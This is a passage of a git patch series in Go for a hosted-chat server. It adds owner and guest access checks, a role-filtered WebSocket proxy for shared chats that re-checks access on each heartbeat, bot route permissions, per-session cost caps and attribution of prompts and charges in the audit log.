http.ResponseWriter, r *http.Request, method, suffix string) { - person, ok := h.hostedPerson(w, r) + v, ok := h.hostedViewer(w, r) if !ok { return } @@ -474,21 +558,49 @@ func (h *Handler) hostedEnd(w http.ResponseWriter, r *http.Request, method, suff return } hs := h.config.Hosted.state - status, header, body, err := hs.call(r.Context(), method, "/v1/sessions/"+id+suffix, person, nil) - hs.bearers.revokeFor(id, person) - hs.models.forget(id, person) + owner := v.Handle + var before itemAudience + st := h.config.Store + if st != nil { + hs.registry.Lock() + defer hs.registry.Unlock() + chat, ok := h.lookupHostedChat(w, r, id, v) + if !ok { + return + } + if !can(v, chat.item, acl.VerbView) { + hostedNoSuchChatWrite(w) + return + } + if !can(hostedWithoutOperator(v), chat.item, acl.VerbManage) { + h.fail(w, http.StatusForbidden, hostedOwnerManage) + return + } + owner = chat.owner + before = v.acc.audienceOf(chat.item) + } + status, header, body, err := hs.call(r.Context(), method, "/v1/sessions/"+id+suffix, owner, nil) + hs.bearers.revokeFor(id, owner) + hs.models.forget(id, owner) if h.hostedFailed(w, status, err) { return } + if st != nil && (status/100 == 2 || method == http.MethodDelete && status == http.StatusNotFound) { + if method == http.MethodDelete { + if h.failed(w, st.DeleteResource(store.SessionKind, id)) { + return + } + hs.noteAsker(id, "") + } + h.publishAccessEvent(Ref{Kind: store.SessionKind, ID: id}, v.Handle, before) + } hostedRelay(w, status, header, body) } -// hostedWire joins a window to a chat. It makes sure the chat's host holds the -// live model bearer BEFORE the connection opens, then hands the connection -// over: from there it only copies bytes and reads no frame, so what the window -// and the chat say to each other is theirs alone. +// hostedWire checks who may attach to a chat. The owner proxy pushes the live +// model bearer before opening the connection and copies bytes without reading frames. func (h *Handler) hostedWire(w http.ResponseWriter, r *http.Request) { - person, ok := h.hostedPerson(w, r) + v, ok := h.hostedViewer(w, r) if !ok { return } @@ -496,6 +608,23 @@ func (h *Handler) hostedWire(w http.ResponseWriter, r *http.Request) { if !ok { return } + person := v.Handle + if h.config.Store != nil { + chat, ok := h.resolveHostedChat(w, r, id, v) + if !ok { + return + } + switch hostedWireClassFor(v, chat.item, chat.owner) { + case hostedWireOwner: + person = chat.owner + case hostedWireGuest: + h.hostedGuestWire(w, r, chat.item, chat.owner, hostedWithoutOperator(v)) + return + default: + hostedNoSuchChatWrite(w) + return + } + } hs := h.config.Hosted.state if !h.hostedPush(w, r, hs, id, person) { return @@ -567,8 +696,12 @@ func (h *Handler) hostedPush(w http.ResponseWriter, r *http.Request, hs *hostedS ModelBearer string `json:"model_bearer"` } _ = json.Unmarshal(data, &row) - // The chat is theirs, so what their sign-in carries for git is kept for it. - h.keepSignInGitHub(r, person) + // Only the owner's request can supply a sign-in credential for this chat. + if hs.keys != nil { + if requester, err := h.callerHandle(r); err == nil && factory.NormalizeHandle(requester) == person { + h.keepSignInGitHub(r, person) + } + } token, minted, err := hs.bearers.ensureCurrent(id, person, h.clock(), row.ModelBearer) if err != nil { log.Printf("hosted chats: a chat could not be given model access: %v", err) diff --git a/internal/factory/serve/hosted_proxy_test.go b/internal/factory/serve/hosted_proxy_test.go index a5adabebda..abce96a709 100644 --- a/internal/factory/serve/hosted_proxy_test.go +++ b/internal/factory/serve/hosted_proxy_test.go @@ -128,7 +128,10 @@ func (f *fakeChatHost) ServeHTTP(w http.ResponseWriter, r *http.Request) { var mine []map[string]string for id, owner := range f.owners { if owner == person { - mine = append(mine, map[string]string{"id": id, "state": "suspended", "model_bearer": fingerprintOf(f.tokens[id])}) + mine = append(mine, map[string]string{ + "id": id, "state": "suspended", "created": "2026-11-24T00:00:00Z", "last_active": "2026-11-24T00:01:00Z", + "model_bearer": fingerprintOf(f.tokens[id]), "warning": "A warning for the chat's owner.", + }) } } f.mu.Unlock() diff --git a/internal/factory/serve/model_route.go b/internal/factory/serve/model_route.go index c64e7b4d16..83b33fe4e4 100644 --- a/internal/factory/serve/model_route.go +++ b/internal/factory/serve/model_route.go @@ -53,6 +53,7 @@ type modelRegistry struct { type hostedModel struct { server *modelapi.Server person string + capUSD float64 inFlight int idle *time.Timer closing chan struct{} @@ -84,6 +85,14 @@ func (h *Handler) serveHostedCompletion(w http.ResponseWriter, r *http.Request, if !(capUSD > 0) { capUSD = defaultHostedSessionCap } + policy, err := h.config.Store.OrgPolicy() + if err != nil { + writeHostedModelError(w, http.StatusServiceUnavailable, hostedLimitCheck) + return + } + if override := policy.Hosting.MaxSessionCostUSD; override > 0 { + capUSD = override + } entry, refusal := cfg.state.models.get(r.Context(), h, bearer, row, space, capUSD) if entry == nil { if refusal.status == http.StatusUnauthorized { @@ -125,6 +134,18 @@ func (m *modelRegistry) get(ctx context.Context, h *Handler, bearer string, row return nil, hostedModelRefusal{} } } + if entry != nil && entry.capUSD != capUSD && !m.closed { + // The model server's reservations use its starting ceiling. Settle the + // old server before opening one under the new cap so its charges count. + if entry.inFlight != 0 { + m.mu.Unlock() + return nil, hostedModelRefusal{http.StatusTooManyRequests, hostedModelBusy} + } + m.startClosing(entry) + m.mu.Unlock() + m.finishClosing(row.session, entry) + continue + } entry, refusal := m.admit(h, bearer, row, space, capUSD, entry) m.mu.Unlock() return entry, refusal @@ -161,6 +182,7 @@ func (m *modelRegistry) admit(h *Handler, bearer string, row bearerRow, space fa if m.entries == nil { m.entries = make(map[string]*hostedModel) } + entry.capUSD = capUSD m.entries[row.session] = entry } if entry.inFlight >= hostedModelInFlight { @@ -389,6 +411,10 @@ func (h *Handler) postHostedSpend(space factory.OrgWorkstream, row bearerRow, ow chat += ":own" } spend := store.Spend{At: now.Format(time.RFC3339Nano), By: row.person, USD: usd, Chat: chat, Key: key} + // A charge approximates who prompted it by recording whoever last put words into the chat through this server. + if asker := h.config.Hosted.state.askerOf(row.session); asker != row.person { + spend.Asker = asker + } if _, err := h.config.Store.AddSpend(space.ID, spend); err != nil { log.Print("hosted model: could not post a charge") return diff --git a/internal/factory/serve/model_route_test.go b/internal/factory/serve/model_route_test.go index 69a7a46903..efa1265750 100644 --- a/internal/factory/serve/model_route_test.go +++ b/internal/factory/serve/model_route_test.go @@ -82,7 +82,7 @@ func hostedSpendRows(t *testing.T, rg *hostedRig, ws string) []store.Spend { t.Fatal(err) } defer db.Close() - rows, err := db.Query("SELECT at, by, usd, chat, key FROM spend WHERE ws = ? ORDER BY rowid", ws) + rows, err := db.Query("SELECT at, by, usd, chat, key, asker FROM spend WHERE ws = ? ORDER BY rowid", ws) if err != nil { t.Fatal(err) } @@ -90,7 +90,7 @@ func hostedSpendRows(t *testing.T, rg *hostedRig, ws string) []store.Spend { var spends []store.Spend for rows.Next() { var spend store.Spend - if err := rows.Scan(&spend.At, &spend.By, &spend.USD, &spend.Chat, &spend.Key); err != nil { + if err := rows.Scan(&spend.At, &spend.By, &spend.USD, &spend.Chat, &spend.Key, &spend.Asker); err != nil { t.Fatal(err) } spends = append(spends, spend) From e987b4db96e9ea38ed1572f15ae1ed7d115b7978 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 11:22:12 -0500 Subject: [PATCH 062/176] hosted P1: the upstream-refusal test reads the plain sentence item 0 made the contract TestP1_1 still expected the provider's own words ("invalid key") in what a person reads when their own key is refused. Item 0 made that a plain sentence worded as theirs with none of the provider's words, so the test now asserts that sentence and that the provider's words and the key are absent; it still asserts the 401, that the key never appears in the body or headers, and that the upstream saw exactly the keys it should. The code is right and the test was stale: the contract said so before the code changed. Co-Authored-By: Claude Sonnet 5.5 --- internal/factory/serve/model_route_test.go | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/internal/factory/serve/model_route_test.go b/internal/factory/serve/model_route_test.go index 69a7a46903..74f820d065 100644 --- a/internal/factory/serve/model_route_test.go +++ b/internal/factory/serve/model_route_test.go @@ -410,7 +410,8 @@ func TestP1_1_UpstreamSeesOnlyTheOrgKeyAndTheChatSeesNone(t *testing.T) { } reject.Store(true) refused := callHostedModel(rg, ownChat, testHostedBody) - if refused.Code != 401 || !strings.Contains(refused.Body.String(), "invalid key") || + // Item 0: a key the provider refuses is a plain sentence worded as the person's own, never the provider's words. + if refused.Code != 401 || !strings.Contains(refused.Body.String(), hostedOwnKeyRefused) || strings.Contains(refused.Body.String(), "invalid key") || strings.Contains(refused.Body.String(), testHostedOwnKey) || strings.Contains(fmt.Sprint(refused.Header()), testHostedOwnKey) { t.Fatalf("upstream refusal = %d %v %s", refused.Code, refused.Header(), refused.Body) } From 7b36adca9dcf84fa14df8c5797d5f2b6fe0ca48a Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 11:42:20 -0500 Subject: [PATCH 063/176] hosted P2: a bot may use the hosted chat routes, and its scope reads the same everywhere The bot route allowlist gains /v1/hosted/sessions, so a bot can start, list, open, stop and delete chats as the person who made it. The rule that turns a bot's scope into its verbs becomes one helper (botScopeVerbs, same behaviour as before) so the guest wire can narrow a watching bot the same way when it re-decides on each heartbeat. Co-Authored-By: Claude Sonnet 5.5 --- internal/factory/serve/bots.go | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) diff --git a/internal/factory/serve/bots.go b/internal/factory/serve/bots.go index a89b87f87a..0900552e1b 100644 --- a/internal/factory/serve/bots.go +++ b/internal/factory/serve/bots.go @@ -12,6 +12,7 @@ import ( "github.com/Agent-Field/codeaf/internal/cell" "github.com/Agent-Field/codeaf/internal/factory" + "github.com/Agent-Field/codeaf/internal/factory/acl" "github.com/Agent-Field/codeaf/internal/factory/api" "github.com/Agent-Field/codeaf/internal/factory/record" "github.com/Agent-Field/codeaf/internal/factory/store" @@ -52,6 +53,7 @@ var botRoutes = []struct { {path: "/v1/workstreams", under: true}, {path: "/v1/canvases", under: true}, {path: "/v1/resources", under: true}, + {path: "/v1/hosted/sessions", under: true}, {path: "/v1/myspace", readOnly: true}, {path: "/v1/org/policy", readOnly: true}, {path: "/v1/members", readOnly: true}, @@ -136,8 +138,7 @@ func (h *Handler) withBot(w http.ResponseWriter, r *http.Request, secret string) if h.failed(w, err) { return r, false } - role, _ := policy.Role(bot.Scope) - only = append([]string{}, role.Verbs...) + only = botScopeVerbs(policy, bot.Scope) } lastUsed := time.Time{} if token.LastUsedAt != nil { @@ -154,6 +155,15 @@ func (h *Handler) withBot(w http.ResponseWriter, r *http.Request, secret string) return r.WithContext(context.WithValue(r.Context(), agentCallKey{}, call)), true } +// A named scope with no matching role must still restrict the bot's verbs. +func botScopeVerbs(policy acl.Policy, scope string) []string { + if scope == "" { + return nil + } + role, _ := policy.Role(scope) + return append([]string{}, role.Verbs...) +} + func (h *Handler) refuseBot(w http.ResponseWriter, state store.BotTokenState) { words := "that bot token is not recognized" switch state { From 3681d52f13e50a72d0c2d2792b407a6c7046a4e2 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 11:42:20 -0500 Subject: [PATCH 064/176] hosted P2: the hosting policy explains itself in plain words Hosting.Words returns the sentence a person reads when this organization keeps their chats on its own server: the refusal points at switching to the personal account, the warning says the chat is outside the organization's account, and allow says nothing. Co-Authored-By: Claude Sonnet 5.5 --- internal/factory/acl/policy.go | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) diff --git a/internal/factory/acl/policy.go b/internal/factory/acl/policy.go index 5fb3f2c2a4..9824d83183 100644 --- a/internal/factory/acl/policy.go +++ b/internal/factory/acl/policy.go @@ -95,6 +95,11 @@ type Hosting struct { MaxSessionCostUSD float64 `json:"max_session_cost_usd,omitempty"` } +const ( + HostingRefuseWords = "This organization runs your chats on its own server, so they do not start on this computer. To work here instead, switch to your personal account, which does not see the organization's chats or files." + HostingWarnWords = "This organization keeps your chats on its own server. A chat started on this computer is not part of the organization's account." +) + // LocalSessionsFor keeps the existing local-chat behavior when the organization has no preference. func (h Hosting) LocalSessionsFor(hasChatHost bool) string { if h.LocalSessions != "" { @@ -106,6 +111,18 @@ func (h Hosting) LocalSessionsFor(hasChatHost bool) string { return "allow" } +// Words explains the effective local-chat policy where it affects the caller. +func (h Hosting) Words(hasChatHost bool) string { + switch h.LocalSessionsFor(hasChatHost) { + case "refuse": + return HostingRefuseWords + case "warn": + return HostingWarnWords + default: + return "" + } +} + // Policy is the organization's access document: the roles, what each kind of // resource starts as, who may share, what the operator and agents may do. It // is stored as one row with a revision and changes only through a PUT by the From a866458a2b50abb1fe9bbadff3a2698714751764 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 11:42:28 -0500 Subject: [PATCH 065/176] hosted P2: a frame-aware wire for guests, verb by verb, re-decided on every heartbeat Someone a chat is shared with no longer gets the owner's byte-copied wire. The organization server ends their WebSocket itself, rewrites their hello to a watching one, and forwards only the engine frames their role allows: view reads, steer interrupts and steers, answer resolves a question, run sends messages as the chat's owner. Everything else (approvals, settings, files, stopping the chat) stays the owner's. A method nobody classified is the owner's by default, and a law test reads the engine's method constants so a new one cannot slip through unclassified. Each heartbeat re-reads the person's access from fresh state, so a revoked share, a changed policy or a bot whose creator lost the chat ends the window with a plain sentence. The asker is remembered per chat and stamped on each prompt line and each git-credential line of the owner's audit, and a guest's prompt is recorded by who and never by what. Owner attaches keep the unchanged byte-copying proxy. Without a store the hosted routes build their viewer through the access constructor, which keeps the access-constructor law green. Co-Authored-By: Claude Sonnet 5.5 --- internal/factory/serve/hosted_access.go | 3 +- internal/factory/serve/hosted_audit.go | 14 +- internal/factory/serve/hosted_guest.go | 407 +++++++++++++++++- .../factory/serve/hosted_guest_access_test.go | 317 ++++++++++++++ .../factory/serve/hosted_guest_methods.go | 213 +++++++++ .../serve/hosted_guest_methods_test.go | 97 +++++ internal/factory/serve/hosted_guest_test.go | 372 ++++++++++++++++ internal/factory/serve/hosted_p2_test.go | 18 +- internal/factory/serve/hosted_proxy.go | 23 +- internal/factory/serve/hosted_proxy_test.go | 21 +- internal/factory/serve/serve.go | 1 + 11 files changed, 1467 insertions(+), 19 deletions(-) create mode 100644 internal/factory/serve/hosted_guest_access_test.go create mode 100644 internal/factory/serve/hosted_guest_methods.go create mode 100644 internal/factory/serve/hosted_guest_methods_test.go create mode 100644 internal/factory/serve/hosted_guest_test.go diff --git a/internal/factory/serve/hosted_access.go b/internal/factory/serve/hosted_access.go index 4057ef2905..89ecc6219a 100644 --- a/internal/factory/serve/hosted_access.go +++ b/internal/factory/serve/hosted_access.go @@ -41,8 +41,9 @@ func hostedWithoutOperator(v Viewer) Viewer { func (h *Handler) hostedViewer(w http.ResponseWriter, r *http.Request) (Viewer, bool) { if h.config.Store == nil { + // With no store there are no teams and no grants, so the viewer is the person under the default policy. person, ok := h.hostedPerson(w, r) - return Viewer{Handle: person}, ok + return h.viewerOf(person), ok } v, err := h.itemViewer(r) return v, h.hostedSignedIn(w, v.Handle, err) diff --git a/internal/factory/serve/hosted_audit.go b/internal/factory/serve/hosted_audit.go index 9b7e9c8b39..fc48f4e74b 100644 --- a/internal/factory/serve/hosted_audit.go +++ b/internal/factory/serve/hosted_audit.go @@ -22,6 +22,7 @@ type hostedAuditEntry struct { Host string `json:"host"` Repo string `json:"repo"` Service string `json:"service"` + Asker string `json:"asker,omitempty"` } // One organization process owns the file, so the same lock gives readers @@ -36,10 +37,17 @@ func (h *Handler) hostedAuditPath() string { } func (h *Handler) hostedAudit(person, chat, kind, host, repo, service string) { - entry := hostedAuditEntry{ - At: h.clock().UTC().Format(time.RFC3339Nano), Person: person, Chat: chat, - Kind: kind, Host: host, Repo: repo, Service: service, + entry := hostedAuditEntry{Person: person, Chat: chat, Kind: kind, Host: host, Repo: repo, Service: service} + if kind == "git" { + if asker := h.config.Hosted.state.askerOf(chat); asker != person { + entry.Asker = asker + } } + h.recordHostedAudit(entry) +} + +func (h *Handler) recordHostedAudit(entry hostedAuditEntry) { + entry.At = h.clock().UTC().Format(time.RFC3339Nano) if err := appendHostedAudit(h.hostedAuditPath(), entry); err != nil { log.Print("audit") } diff --git a/internal/factory/serve/hosted_guest.go b/internal/factory/serve/hosted_guest.go index 12370f523a..c97e44e4a7 100644 --- a/internal/factory/serve/hosted_guest.go +++ b/internal/factory/serve/hosted_guest.go @@ -1,8 +1,407 @@ package serve -import "net/http" +import ( + "bufio" + "context" + "encoding/json" + "errors" + "net" + "net/http" + "strings" + "sync" + "sync/atomic" + "time" -// RUN B fills this stub with the guest wire pump. Until then guest attaches receive the usual missing-chat reply. -func (h *Handler) hostedGuestWire(w http.ResponseWriter, _ *http.Request, _ Item, _ string, _ Viewer) { - hostedNoSuchChatWrite(w) + "github.com/Agent-Field/codeaf/internal/factory" + "github.com/Agent-Field/codeaf/internal/factory/acl" + "github.com/Agent-Field/codeaf/internal/factory/store" + "github.com/Agent-Field/codeaf/internal/remote" + "github.com/coder/websocket" +) + +// DefaultHostedHeartbeat keeps a guest wire's access up to date when no interval is set. +const DefaultHostedHeartbeat = 5 * time.Second + +const ( + hostedGuestClientLineCap = 256 << 10 + hostedGuestHostLineCap = 64 << 20 + // The hosted chat client accepts WebSocket messages up to 4 MiB. + hostedGuestWriteChunk = 4 << 20 + hostedGuestRemoved = "Your access to this chat was removed." + hostedGuestLongLine = "A message to this chat was too large." + hostedGuestBadHello = "This chat could not read the first message." + hostedGuestBadCall = "This chat could not read a request." +) + +var errHostedGuestLineCap = errors.New(hostedGuestLongLine) + +type hostedGuest struct { + ctx context.Context + cancel context.CancelFunc + heartbeat time.Duration + client, host net.Conn + verbs atomic.Value + writeMu sync.Mutex +} + +// addGuest and closeHostedGuests use one lock so shutdown also reaches a wire still opening. +func (hs *hostedState) addGuest(p *hostedGuest) bool { + hs.guestMu.Lock() + defer hs.guestMu.Unlock() + if hs.guestsClosed { + return false + } + if hs.guests == nil { + hs.guests = make(map[*hostedGuest]struct{}) + } + hs.guests[p] = struct{}{} + hs.guestWG.Add(1) + return true +} + +func (hs *hostedState) dropGuest(p *hostedGuest) { + hs.guestMu.Lock() + defer hs.guestMu.Unlock() + delete(hs.guests, p) + hs.guestWG.Done() +} + +func (h *Handler) closeHostedGuests() { + cfg := h.config.Hosted + if cfg == nil || cfg.state == nil { + return + } + hs := cfg.state + hs.guestMu.Lock() + hs.guestsClosed = true + for guest := range hs.guests { + guest.cancel() + } + hs.guestMu.Unlock() + hs.guestWG.Wait() +} + +func (h *Handler) hostedGuestWire(w http.ResponseWriter, r *http.Request, item Item, owner string, v Viewer) { + hs := h.config.Hosted.state + heartbeat := h.config.Hosted.Heartbeat + if heartbeat <= 0 { + heartbeat = DefaultHostedHeartbeat + } + ctx, cancel := context.WithCancel(r.Context()) + defer cancel() + p := &hostedGuest{ctx: ctx, cancel: cancel, heartbeat: heartbeat} + if !hs.addGuest(p) { + h.fail(w, http.StatusServiceUnavailable, hostedUnreachable) + return + } + defer hs.dropGuest(p) + r = r.WithContext(ctx) + if !h.hostedPush(w, r, hs, item.ID, owner) { + return + } + + client, err := websocket.Accept(w, r, &websocket.AcceptOptions{ + InsecureSkipVerify: true, + CompressionMode: websocket.CompressionDisabled, + }) + if err != nil { + return + } + clientConn, closeClient := hostedGuestConn(ctx, client) + defer closeClient() + p.client = clientConn + p.verbs.Store(hostedGuestVerbs(v, item)) + var pumps sync.WaitGroup + defer func() { + cancel() + pumps.Wait() + }() + pumps.Go(func() { + p.checkHeartbeat(func() acl.VerbSet { + return h.refreshHostedGuest(r, item.ID, owner, v.Handle) + }) + }) + + host, status := hs.dialGuestHost(ctx, item.ID, owner) + if host == nil { + switch status { + case http.StatusNotFound: + p.fatal(hostedGuestRemoved) + return + case http.StatusConflict: + hs.bearers.revokeFor(item.ID, owner) + } + p.fatal(hostedUnreachable) + return + } + hostConn, closeHost := hostedGuestConn(ctx, host) + defer closeHost() + p.host = hostConn + pumps.Go(func() { + defer cancel() + p.fromHost() + }) + p.fromClient(func(method, class string) { + h.noteHostedGuestCall(item.ID, owner, v.Handle, method, class) + }) + cancel() +} + +func (hs *hostedState) dialGuestHost(ctx context.Context, id, owner string) (*websocket.Conn, int) { + // The dial deadline bounds only the handshake, because a live wire may last for hours. + ctx, cancel := context.WithTimeout(ctx, hostedCallTimeout) + defer cancel() + httpClient := &http.Client{Transport: hs.transport, CheckRedirect: hs.calls.CheckRedirect} + host, response, err := websocket.Dial(ctx, hs.base.String()+"/v1/sessions/"+id+"/wire", &websocket.DialOptions{ + HTTPClient: httpClient, + HTTPHeader: http.Header{"Authorization": {"Bearer " + hs.secret}, "X-Codeaf-Person": {owner}}, + CompressionMode: websocket.CompressionDisabled, + }) + if err != nil && response != nil { + return nil, response.StatusCode + } + return host, 0 +} + +func hostedGuestConn(ctx context.Context, conn *websocket.Conn) (net.Conn, func()) { + tunnel := websocket.NetConn(ctx, conn, websocket.MessageBinary) + // NetConn clears the message cap. The line cap is independent because a message may carry many lines. + conn.SetReadLimit(hostedGuestHostLineCap + 1) + // Close even when neither a read nor a write is in progress on this leg. + stop := context.AfterFunc(ctx, func() { _ = conn.CloseNow() }) + return tunnel, func() { + stop() + _ = conn.CloseNow() + } +} + +func (p *hostedGuest) fromHost() { + reader := bufio.NewReader(p.host) + for { + line, err := readHostedGuestLine(reader, hostedGuestHostLineCap) + if err != nil || p.writeClient(line) != nil { + return + } + } +} + +func (p *hostedGuest) fromClient(forwarding func(method, class string)) { + reader := bufio.NewReader(p.client) + var hello bool + for { + line, err := readHostedGuestLine(reader, hostedGuestClientLineCap) + if errors.Is(err, errHostedGuestLineCap) { + p.fatal(hostedGuestLongLine) + } + if err != nil { + return + } + verbs := p.verbs.Load().(acl.VerbSet) + if !verbs.Has(acl.VerbView) { + // The heartbeat owns the final line when it takes access away. + <-p.ctx.Done() + return + } + var frame remote.Frame + err = json.Unmarshal(line, &frame) + if !hello { + if err != nil || frame.Kind != "hello" || !rewriteHostedGuestHello(&frame) { + p.fatal(hostedGuestBadHello) + return + } + hello = true + } else { + if err != nil || frame.Kind != "call" || strings.TrimSpace(frame.Method) == "" { + p.fatal(hostedGuestBadCall) + return + } + class := hostedGuestMethods[frame.Method] + if words := hostedGuestRefusal(class, verbs); words != "" { + // A result always has an ID, including when the caller used zero. + result := struct { + Kind string `json:"kind"` + ID uint64 `json:"id"` + Error string `json:"error"` + }{"result", frame.ID, words} + raw, _ := json.Marshal(result) + if p.writeClient(append(raw, '\n')) != nil { + return + } + continue + } + forwarding(frame.Method, class) + } + // Re-encoding makes the engine receive exactly the frame whose method was checked. + raw, err := json.Marshal(frame) + if err != nil { + return + } + if _, err := p.host.Write(append(raw, '\n')); err != nil { + return + } + } +} + +func hostedGuestRefusal(class string, verbs acl.VerbSet) string { + switch class { + case acl.VerbView: + return "" + case acl.VerbRun: + if !verbs.Has(class) { + return hostedGuestNeedsRun + } + case acl.VerbSteer: + if !verbs.Has(class) { + return hostedGuestNeedsSteer + } + case acl.VerbAnswer: + if !verbs.Has(class) { + return hostedGuestNeedsAnswer + } + default: + return hostedGuestOwnerOnly + } + return "" +} + +func rewriteHostedGuestHello(frame *remote.Frame) bool { + var fields map[string]json.RawMessage + if json.Unmarshal(frame.Payload, &fields) != nil || fields == nil { + return false + } + var window struct { + ClientID string `json:"clientID"` + } + if json.Unmarshal(frame.Payload, &window) != nil { + return false + } + // The engine accepts case variants of its JSON fields, so discard those too. + replaced := []string{"launch", "model", "level", "workspace", "session", "new", "join", "holdInterruptedWork", "window", "back", "clientID"} + for field := range fields { + for _, name := range replaced { + if strings.EqualFold(field, name) { + delete(fields, field) + break + } + } + } + // The allow-list protects this wire. Setting watch would hide transcripts and most other reads. + fields["back"] = json.RawMessage("true") + fields["clientID"], _ = json.Marshal("guest:" + window.ClientID) + frame.Payload, _ = json.Marshal(fields) + return true +} + +// readHostedGuestLine bounds the accumulated bytes even when the peer never sends a newline. +func readHostedGuestLine(reader *bufio.Reader, limit int) ([]byte, error) { + var line []byte + for { + chunk, err := reader.ReadSlice('\n') + if len(chunk) > limit-len(line) { + return nil, errHostedGuestLineCap + } + if err == nil { + if line == nil { + return chunk, nil + } + return append(line, chunk...), nil + } + if err != bufio.ErrBufferFull { + return nil, err + } + if len(chunk) == limit-len(line) { + // A line at the limit still needs room for its newline. + return nil, errHostedGuestLineCap + } + line = append(line, chunk...) + } +} + +func (p *hostedGuest) writeClient(line []byte) error { + p.writeMu.Lock() + defer p.writeMu.Unlock() + if err := p.ctx.Err(); err != nil { + return err + } + // A large engine line can use several messages while keeping the write lock for the entire line. + for len(line) != 0 { + chunk := min(len(line), hostedGuestWriteChunk) + if _, err := p.client.Write(line[:chunk]); err != nil { + return err + } + line = line[chunk:] + } + return nil +} + +func (p *hostedGuest) fatal(words string) { + // One complete line goes before the close. A peer that stops reading cannot keep the wire alive. + _ = p.client.SetWriteDeadline(time.Now().Add(p.heartbeat)) + p.writeMu.Lock() + defer p.writeMu.Unlock() + defer p.client.SetWriteDeadline(time.Time{}) + if p.ctx.Err() == nil { + _ = json.NewEncoder(p.client).Encode(remote.Frame{Kind: "fatal", Error: words}) + p.cancel() + } +} + +func hostedGuestVerbs(v Viewer, item Item) acl.VerbSet { + v = hostedWithoutOperator(v) + return v.acc.rules().Verbs(v.caller(), v.acc.item(item), v.acc.time()) +} + +func (p *hostedGuest) checkHeartbeat(refresh func() acl.VerbSet) { + ticker := time.NewTicker(p.heartbeat) + defer ticker.Stop() + for { + select { + case <-p.ctx.Done(): + return + case <-ticker.C: + verbs := refresh() + p.verbs.Store(verbs) + if !verbs.Has(acl.VerbView) { + p.fatal(hostedGuestRemoved) + return + } + } + } +} + +func (h *Handler) refreshHostedGuest(r *http.Request, id, owner, asker string) acl.VerbSet { + r = authRequest(r) + if !h.allowed(r) { + return nil + } + v, err := h.itemViewer(r) + if err != nil || v.Handle != asker || !h.teamAllows(v.Handle) || r.Context().Value(authErrorKey{}).(*authErrorState).err != nil { + return nil + } + st := h.config.Store + if call, _ := agentCallOf(r); call.bot != "" { + bot, _, state, err := st.FindBotToken(sessionHash(bearer(r)), h.now()) + if err != nil || state != store.BotTokenLive || bot.ID != call.bot || bot.Creator != v.Handle { + return nil + } + // The stored scope and the policy bundle can both change while the bot is attached. + v.Agent.Only = botScopeVerbs(v.acc.rules(), bot.Scope) + } + row, found, err := st.Resource(store.SessionKind, id) + if err != nil || !found || row.Owner.ID != owner || !hostedRegistration(row) { + return nil + } + return hostedGuestVerbs(v, h.resourceItem(row, factory.OrgWorkstream{})) +} + +func (h *Handler) noteHostedGuestCall(id, owner, asker, method, class string) { + // Attribution is approximate because the next model call can follow any accepted words. + if class == acl.VerbRun || method == remote.MethodSteer || method == remote.MethodQuestionResolve { + h.config.Hosted.state.noteAsker(id, asker) + } + // The chat checks the keyboard for prompts and steer. A guest with run can use Take to drive. + switch method { + case remote.MethodSubmit, remote.MethodSubmitBash, remote.MethodSubmitImage, remote.MethodSubmitFiles, remote.MethodFollowUp, remote.MethodSteer: + h.recordHostedAudit(hostedAuditEntry{Person: owner, Chat: id, Kind: "prompt", Asker: asker}) + } } diff --git a/internal/factory/serve/hosted_guest_access_test.go b/internal/factory/serve/hosted_guest_access_test.go new file mode 100644 index 0000000000..78b54aa34e --- /dev/null +++ b/internal/factory/serve/hosted_guest_access_test.go @@ -0,0 +1,317 @@ +package serve + +import ( + "context" + "encoding/json" + "io" + "net/http" + "net/http/httptest" + "reflect" + "slices" + "strings" + "testing" + "time" + + "github.com/Agent-Field/agentfield/sdk/go/ai" + "github.com/Agent-Field/codeaf/internal/factory/acl" + "github.com/Agent-Field/codeaf/internal/factory/store" + "github.com/coder/websocket" +) + +// P2-6 +// A bot's chats are its creator's; its own scope and the creator's current rights govern the hosted routes. +func TestP2_6_BotsUseCurrentHostedRights(t *testing.T) { + rg := newHostedRig(t) + full := rg.contractBot(t, "abir", "Full bot", "full") + view := rg.contractBot(t, "abir", "View bot", "view") + for _, path := range []string{"/v1/hosted/keys", "/v1/hosted/git", "/v1/hosted/keys/github"} { + w := rg.botDo(t, full.Token, http.MethodGet, path, -1, nil, http.StatusForbidden, nil) + assertBotRefusal(t, w, "a bot cannot use this yet") + } + actualGitPath := "/v1/hosted/git/github.com/org/repo/info/refs?service=git-upload-pack" + wantGitSentence(t, rg.botDo(t, full.Token, http.MethodGet, actualGitPath, -1, nil, http.StatusUnauthorized, nil), + http.StatusUnauthorized, "Sign in to use git here.") + + var made struct{ ID string } + rg.botDo(t, full.Token, http.MethodPost, hostedSessionsPath, -1, nil, http.StatusCreated, &made) + row, found, err := rg.st.Resource(store.SessionKind, made.ID) + if err != nil || !found || row.Owner != (acl.Subject{Kind: "person", ID: "abir"}) || + row.CreatedBy != (acl.Principal{Kind: "bot", ID: full.Bot.ID, Sponsor: "abir"}) || + row.Visibility != acl.Private || rg.host.ownerOf(made.ID) != "abir" { + t.Fatalf("registered bot chat = %+v, found %v, host owner %q, %v", row, found, rg.host.ownerOf(made.ID), err) + } + for _, person := range []string{"abir", "santosh", "mia", "owner"} { + var listed struct{ Sessions, Shared []struct{ ID string } } + rg.do(t, person, http.MethodGet, hostedSessionsPath, -1, nil, http.StatusOK, &listed) + if person == "abir" { + if len(listed.Sessions) != 1 || listed.Sessions[0].ID != made.ID { + t.Fatalf("creator did not list the chat: %+v", listed) + } + } else if len(listed.Sessions)+len(listed.Shared) != 0 { + t.Errorf("%s listed a private bot chat: %+v", person, listed) + } + } + madePath := hostedSessionsPath + "/" + made.ID + rg.botDo(t, view.Token, http.MethodGet, madePath, -1, nil, http.StatusOK, nil) + rg.botDo(t, view.Token, http.MethodPost, madePath+"/stop", -1, nil, http.StatusForbidden, nil) + rg.botDo(t, view.Token, http.MethodDelete, madePath, -1, nil, http.StatusForbidden, nil) + + chat := rg.create(t, "mia") + grant := hostedGrant(t, rg, "mia", chat, "abir", "edit") + var listed struct{ Sessions, Shared []struct{ ID string } } + rg.botDo(t, view.Token, http.MethodGet, 